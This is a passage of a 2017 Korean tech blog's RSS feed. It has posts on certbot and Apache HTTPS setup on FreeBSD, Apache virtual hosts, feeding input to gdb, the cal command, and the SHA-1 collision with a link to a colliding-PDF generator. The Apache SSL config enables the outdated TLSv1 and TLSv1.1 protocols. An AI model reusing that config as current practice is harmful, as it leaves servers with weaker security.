      <title>py-certbot 설치 및 설정(HTTPS 적용)</title>
      <link>https://do9dark.tistory.com/300</link>
      <description>&lt;p&gt;&lt;b&gt;- Install py-certbot&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;cd /usr/ports/security/py-certbot/&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;make install clean&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;- Configuration&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;certbot certonly --webroot --webroot-path /usr/local/www/apache24/data/ -d do9.kr -d www.do9.kr&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;certbot certonly --webroot --webroot-path /usr/local/www/apache24/rnd/&amp;nbsp;-d rnd.do9.kr&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;httpd.conf 파일 내용 추가&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;vi /usr/local/etc/apache24/httpd.conf&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Listen 80&lt;/p&gt;&lt;p&gt;Listen 443&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; ServerName www.do9.kr&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; Redirect / https://www.do9.kr/&lt;/p&gt;&lt;p&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;VirtualHost *:443&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; ServerName www.do9.kr&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; DocumentRoot /usr/local/www/apache24/data/&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLEngine on&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLHonorCipherOrder On&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLCipherSuite ECDHE-RSA-AES128-SHA256:AES128-GCM-SHA256:HIGH:!MD5:!aNULL:!EDH:!RC4&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLCertificateFile &quot;/usr/local/etc/letsencrypt/live/do9.kr/fullchain.pem&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLCertificateKeyFile &quot;/usr/local/etc/letsencrypt/live/do9.kr/privkey.pem&quot;&lt;/p&gt;&lt;p&gt;&amp;lt;/VirtualHost&amp;gt; &amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; ServerName rnd.do9.kr&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; Redirect / https://rnd.do9.kr/&lt;/p&gt;&lt;p&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;VirtualHost *:443&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; ServerName rnd.do9.kr&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; DocumentRoot /usr/local/www/apache24/rnd/&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLEngine on&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLProtocol -ALL +TLSv1 +TLSv1.1 +TLSv1.2&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLHonorCipherOrder On&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLCipherSuite ECDHE-RSA-AES128-SHA256:AES128-GCM-SHA256:HIGH:!MD5:!aNULL:!EDH:!RC4&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLCertificateFile &quot;/usr/local/etc/letsencrypt/live/rnd.do9.kr/fullchain.pem&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; SSLCertificateKeyFile &quot;/usr/local/etc/letsencrypt/live/rnd.do9.kr/privkey.pem&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;Directory &quot;/usr/local/www/apache24/rnd&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; AllowOverride None&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Options None&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Require all granted&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;/Directory&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;# mod_ssl 모듈 주석 제거&lt;/p&gt;&lt;p&gt;LoadModule ssl_module libexec/apache24/mod_ssl.so&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;정보를 추가해주고 적용하기 위해서 서비스를 재시작&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;apachectl restart&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;service apache24 restart&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Let’s Encrypt SSL 인증서는 90일마다 갱신이 필요&lt;/p&gt;&lt;p&gt;crontab 명령어를 이용해서 매주 월요일마다 새벽 4시에 인증서 갱신 후 5분 뒤 서버 설정 재적용&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; crontab -e&lt;/p&gt;&lt;p&gt;00 4&amp;nbsp;* * 1 /usr/local/bin/certbot renew &amp;gt;&amp;gt; /var/log/letsencrypt/letsencrypt.log&lt;/p&gt;&lt;p&gt;05 4&amp;nbsp;* * 1 /usr/local/sbin/apachectl reload&lt;/p&gt;</description>
      <category>Operating System/FreeBSD</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/300</guid>
      <comments>https://do9dark.tistory.com/300#entry300comment</comments>
      <pubDate>Tue, 25 Apr 2017 13:27:23 +0900</pubDate>
    </item>
    <item>
      <title>Setting up Apache Virtual Hosts</title>
      <link>https://do9dark.tistory.com/299</link>
      <description>&lt;p&gt;Virtual Hosts 설정&lt;/p&gt;&lt;p&gt;FreeBSD에서 Virtual Hosts를 설정하기 위해서는 /usr/local/etc/apache24/httpd.conf 파일에 정보를 추가해주면 된다.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Listen 80&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;/p&gt;&lt;p&gt;ServerName www.do9.kr&lt;/p&gt;&lt;p&gt;DocumentRoot /usr/local/www/apache24/data/&lt;/p&gt;&lt;p&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;/p&gt;&lt;p&gt;ServerName rnd.do9.kr&lt;/p&gt;&lt;p&gt;DocumentRoot /usr/local/www/apache24/rnd/&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;Directory &quot;/usr/local/www/apache24/rnd&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; AllowOverride None&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Options None&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Require all granted&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;/Directory&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;/VirtualHost&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;정보를 추가해주고 적용하기 위해서 서비스를 재시작한다.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apachectl restart&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt;&amp;nbsp;service apache24 restart&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;도메인으로 접속하기 위해서 서브도메인 추가가 필요하다.&lt;/p&gt;</description>
      <category>Operating System/FreeBSD</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/299</guid>
      <comments>https://do9dark.tistory.com/299#entry299comment</comments>
      <pubDate>Tue, 18 Apr 2017 15:58:36 +0900</pubDate>
    </item>
    <item>
      <title>gdb 실행 후 run 명령 시 user input 주는 방법</title>
      <link>https://do9dark.tistory.com/295</link>
      <description>&lt;p&gt;파일 내용을 입력&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb)&lt;/span&gt; r &amp;lt; filename&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;스크립트 또는 명령어 실행 결과를 임시 파일에 저장 후 임시 파일 내용을 입력&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb)&lt;/span&gt; r `python -c 'print &quot;A&quot;*10' &amp;gt; tmp` &amp;lt; tmp&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb)&lt;/span&gt; r `echo &quot;AAAAAAAAAA&quot;&amp;nbsp;&amp;gt; tmp` &amp;lt; tmp&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;임시 파일 없이 스크립트 또는 명령어 실행 결과를 입력&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb)&lt;/span&gt; r &amp;lt; &amp;lt;(python -c 'print &quot;A&quot;*10')&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb)&lt;/span&gt; r &amp;lt; &amp;lt;(echo &quot;AAAAAAAAAA&quot;)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;문자열을 입력 (r &amp;lt;&amp;lt;&amp;lt;&amp;nbsp;Here Strings)&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb)&lt;/span&gt; r &amp;lt;&amp;lt;&amp;lt; $(python -c 'print &quot;A&quot;*3')&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;(gdb)&lt;/span&gt; r &amp;lt;&amp;lt;&amp;lt; &quot;AAAAAAAAAA&quot;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;두 명령어의 결과를 비교할 때 사용하는 방법&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt;&amp;nbsp;diff &amp;lt;(cmd) &amp;lt;(cmd)&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/295</guid>
      <comments>https://do9dark.tistory.com/295#entry295comment</comments>
      <pubDate>Thu, 30 Mar 2017 16:30:29 +0900</pubDate>
    </item>
    <item>
      <title>달력 표시하기</title>
      <link>https://do9dark.tistory.com/284</link>
      <description>&lt;p&gt;달력을 표시하는 명령어&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; cal&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;옵션을 통해서 해당연도의 전체 달력 표시도 가능&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;$&lt;/span&gt; cal -y&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 461px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/24187E3658C6B6C51C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F24187E3658C6B6C51C&quot; width=&quot;461&quot; height=&quot;715&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/284</guid>
      <comments>https://do9dark.tistory.com/284#entry284comment</comments>
      <pubDate>Tue, 14 Mar 2017 00:12:13 +0900</pubDate>
    </item>
    <item>
      <title>Stop using SHA-1</title>
      <link>https://do9dark.tistory.com/279</link>
      <description>&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 700px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/260C6A4758B3CA4C26&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F260C6A4758B3CA4C26&quot; width=&quot;700&quot; height=&quot;963&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;SHA-1 함수는 SHA(Secure Hash Algorithm)이라 불리는 SHA 함수 중 하나이며, 많은 곳에서 쓰이고 있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;SHA-1의 해시값 크기는 160bit이며&amp;nbsp;16진수로 40개의 문자로&amp;nbsp;표현된다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;간단하게 &quot;do9dark&quot; 값과 .(점)을 찍은 &quot;do9dark.&quot; 값의 SHA-1 해시값을 비교하면 눈사태 효과(쇄도 효과)에 의해서 출력값에 상당한 변화가 발생된다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;SHA1(&quot;do9dark&quot;) = c82e31303466b765eabdab1eb367f6e0fcb221fa&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none; margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;SHA1(&quot;do9dark.&quot;) = 16e9f7ac968899b5d94eff21fe4918a651e75fde&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 517px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2223D64B58B3CFF12B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2223D64B58B3CFF12B&quot; width=&quot;517&quot; height=&quot;183&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 517px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2739DB4B58B3CFF22A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2739DB4B58B3CFF22A&quot; width=&quot;517&quot; height=&quot;183&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;이러한 특징 때문에 파일, 인증서 등에 위변조 판단 여부로도 많이 사용되고 있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;공백은&amp;nbsp;da39a3ee5e6b4b0d3255bfef95601890afd80709&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 517px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/21425D4B58B3CFF204&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F21425D4B58B3CFF204&quot; width=&quot;517&quot; height=&quot;183&quot; filename=&quot;004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;하지만, SHA-1의 보안적인 문제라 할 수 있는 해시 충돌에 대한 이론은 이미 공개되었고, 실제로 서로 다른 두 파일을 동일한 해시값이 출력되도록 위변조가 가능하다는 것을&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;2017년 2월 23일,&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;nbsp;Google Security Blog를 통해서 &quot;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Announcing the first SHA1 collision&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&quot;을 공개하였다&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;파일의 내용은 다르지만 SHA-1 해시 함수로 검증하였을 때 동일한 PDF 파일을 만드는 데 &lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;성공하였고, 해당 파일도 같이 공개하였다.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;font face=&quot;Verdana&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2150814558B7C85608&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2150814558B7C85608&quot; width=&quot;1000&quot; height=&quot;516&quot; filename=&quot;005.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;두 개의 PDF 파일의 헥사값을 비교해보면 위와 같이&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Collision blocks의&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;내용이 다르지만 SHA-1 해시값은 동일한 것을 알 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;(좌)&amp;nbsp;shattered-1.pdf &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt; (우)&amp;nbsp;shattered-2.pdf&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/235DEF3D58B7C86E03&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F235DEF3D58B7C86E03&quot; width=&quot;1000&quot; height=&quot;546&quot; filename=&quot;006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;a href=&quot;https://shattered.io/&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;https://shattered.io/&lt;/a&gt; 페이지에 접속해보면 PDF 파일의 SHA-1 해시값 충돌에 대하여 확인할 수 있는 기능도 제공하고 있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 485px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2375594958B7C98613&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2375594958B7C98613&quot; width=&quot;485&quot; height=&quot;478&quot; filename=&quot;007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;그리고 제공된 두 개의 PDF 파일을 분석해보면 파일 헤더에&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Collision blocks을 제외한 나머지 값은 같다는 것을 알 수 있고, 나머지 부분을 분석해보면 하나의 PDF에 양쪽에서 사용되는 내용이 모두 포함되어 있다는 것을 알 수 있다.&lt;/span&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;조금 더 명확하게 확인하기 위해서 서로 다른 이미지 2개를 준비하였다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 319px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/26613B3C58B7CB7E0F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F26613B3C58B7CB7E0F&quot; width=&quot;319&quot; height=&quot;171&quot; filename=&quot;008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;그리고 &lt;a href=&quot;http://alf.nu/SHA1&quot; target=&quot;_blank&quot; class=&quot;tx-link&quot;&gt;http://alf.nu/SHA1&lt;/a&gt; 페이지에 접속해보면 서로 다른 2개의 이미지를 이용하여 SHA-1 해시 충돌이 발생하는 PDF 파일을 만들어주는 기능을 이용할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 953px;  height: auto; max-width: 100%;&quot;&gt;&lt;img 